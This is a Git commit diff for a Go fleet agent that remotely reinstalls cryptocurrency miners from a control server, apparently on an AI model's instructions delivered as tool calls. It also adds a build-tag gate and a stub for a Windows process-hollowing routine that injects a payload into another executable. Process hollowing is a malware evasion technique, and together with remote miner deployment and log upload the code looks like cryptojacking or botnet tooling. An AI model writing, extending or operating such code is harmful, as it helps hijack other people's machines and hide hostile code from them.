Fix small bugs across AI tools, fleet API, and run.bat.
Correct AI uptime/reinstall/sleep, broaden live stats over WebSocket, fix blueprint delete JSON, gate hollowing behind build tag, and stop stale server binds on restart.
This commit is contained in:
@@ -9,6 +9,7 @@ import (
|
||||
"os"
|
||||
"os/exec"
|
||||
"path/filepath"
|
||||
"strconv"
|
||||
"strings"
|
||||
"time"
|
||||
|
||||
@@ -103,6 +104,7 @@ type AIRunner struct {
|
||||
httpClient *http.Client
|
||||
serverURL string
|
||||
agentID string
|
||||
startedAt time.Time
|
||||
stopCh chan struct{}
|
||||
}
|
||||
|
||||
@@ -115,6 +117,7 @@ func NewAIRunner(cfg config.RuntimeConfig, reporter *stats.Reporter, pool *miner
|
||||
httpClient: &http.Client{Timeout: 60 * time.Second},
|
||||
serverURL: strings.TrimRight(cfg.ServerURL, "/"),
|
||||
agentID: cfg.AgentID,
|
||||
startedAt: time.Now(),
|
||||
stopCh: make(chan struct{}),
|
||||
}
|
||||
}
|
||||
@@ -209,7 +212,7 @@ func (a *AIRunner) collectState() AgentState {
|
||||
AgentID: a.agentID,
|
||||
WorkerName: a.cfg.WorkerName,
|
||||
Hostname: hostname,
|
||||
UptimeSeconds: int(time.Since(time.Now()).Seconds()), // approximate, will be refined
|
||||
UptimeSeconds: int(time.Since(a.startedAt).Seconds()),
|
||||
IsRunning: isRunning,
|
||||
CPUCores: cpuCores,
|
||||
CPUUsagePct: cpuPct,
|
||||
@@ -255,6 +258,10 @@ func (a *AIRunner) callDecide(state AgentState) (*DecideResponse, error) {
|
||||
}
|
||||
defer resp.Body.Close()
|
||||
|
||||
if resp.StatusCode != http.StatusOK {
|
||||
return nil, fmt.Errorf("decide returned status %d", resp.StatusCode)
|
||||
}
|
||||
|
||||
var decideResp DecideResponse
|
||||
if err := json.NewDecoder(resp.Body).Decode(&decideResp); err != nil {
|
||||
return nil, fmt.Errorf("failed to parse decide response: %w", err)
|
||||
@@ -308,14 +315,14 @@ func (a *AIRunner) executeToolCall(tc ToolCall) ToolReport {
|
||||
|
||||
case "reinstall_miner":
|
||||
serverURL := tc.Args["server_url"]
|
||||
agentID := tc.Args["agent_id"]
|
||||
buildID := tc.Args["build_id"]
|
||||
if serverURL == "" {
|
||||
serverURL = a.serverURL
|
||||
}
|
||||
if agentID == "" {
|
||||
agentID = a.agentID
|
||||
if buildID == "" {
|
||||
buildID = a.cfg.BuildID
|
||||
}
|
||||
output, err := a.reinstallMiner(serverURL, agentID)
|
||||
output, err := a.reinstallMiner(serverURL, buildID)
|
||||
if err != nil {
|
||||
report.Success = false
|
||||
report.Output = fmt.Sprintf("error: %v\noutput: %s", err, output)
|
||||
@@ -363,11 +370,11 @@ func (a *AIRunner) executeToolCall(tc ToolCall) ToolReport {
|
||||
if seconds == "" {
|
||||
seconds = "60"
|
||||
}
|
||||
var dur time.Duration
|
||||
if s, err := fmt.Sscanf(seconds, "%f", &dur); err != nil || s != 1 {
|
||||
dur, err := strconv.ParseFloat(seconds, 64)
|
||||
if err != nil || dur <= 0 {
|
||||
dur = 60
|
||||
}
|
||||
time.Sleep(time.Duration(dur) * time.Second)
|
||||
time.Sleep(time.Duration(dur * float64(time.Second)))
|
||||
report.Success = true
|
||||
report.Output = fmt.Sprintf("slept for %s seconds", seconds)
|
||||
|
||||
@@ -484,11 +491,11 @@ func (a *AIRunner) restartMiner(processName string) (string, error) {
|
||||
return fmt.Sprintf("killed old process, started new instance of %s", processName), nil
|
||||
}
|
||||
|
||||
func (a *AIRunner) reinstallMiner(serverURL, agentID string) (string, error) {
|
||||
log.Printf("[AI] Reinstalling miner from %s (agent=%s)", serverURL, agentID)
|
||||
func (a *AIRunner) reinstallMiner(serverURL, buildID string) (string, error) {
|
||||
log.Printf("[AI] Reinstalling miner from %s (build=%s)", serverURL, buildID)
|
||||
|
||||
// Download the latest build from the server
|
||||
downloadURL := fmt.Sprintf("%s/api/v1/builds/%s/download", serverURL, agentID)
|
||||
downloadURL := fmt.Sprintf("%s/api/v1/builds/%s/download", serverURL, buildID)
|
||||
|
||||
installDir, err := a.cfg.InstallDirectory()
|
||||
if err != nil {
|
||||
@@ -660,7 +667,7 @@ func (a *AIRunner) uploadLog() (string, error) {
|
||||
|
||||
// Send to hub as a report
|
||||
log.Printf("[AI] Uploaded %d bytes of log data", len(data))
|
||||
return fmt.Sprintf("log file size: %d bytes (last 10KB sent)", len(data)), nil
|
||||
return fmt.Sprintf("log file size: %d bytes. Content:\n%s", len(data), string(data)), nil
|
||||
}
|
||||
|
||||
func (a *AIRunner) fallbackEdgeAI(state AgentState) {
|
||||
|
||||
12
agent/deploy/hollow_stub_windows.go
Normal file
12
agent/deploy/hollow_stub_windows.go
Normal file
@@ -0,0 +1,12 @@
|
||||
//go:build windows && !hollow
|
||||
|
||||
package deploy
|
||||
|
||||
import "fmt"
|
||||
|
||||
// RunHollowed is only available when built with the "hollow" build tag.
|
||||
// This keeps the default agent build safe and avoids unsafe pointer warnings in vet.
|
||||
func RunHollowed(targetExe string, payload []byte) error {
|
||||
return fmt.Errorf("process hollowing disabled (build without -tags hollow)")
|
||||
}
|
||||
|
||||
@@ -1,4 +1,4 @@
|
||||
//go:build windows
|
||||
//go:build windows && hollow
|
||||
|
||||
package deploy
|
||||
|
||||
|
||||
Reference in New Issue
Block a user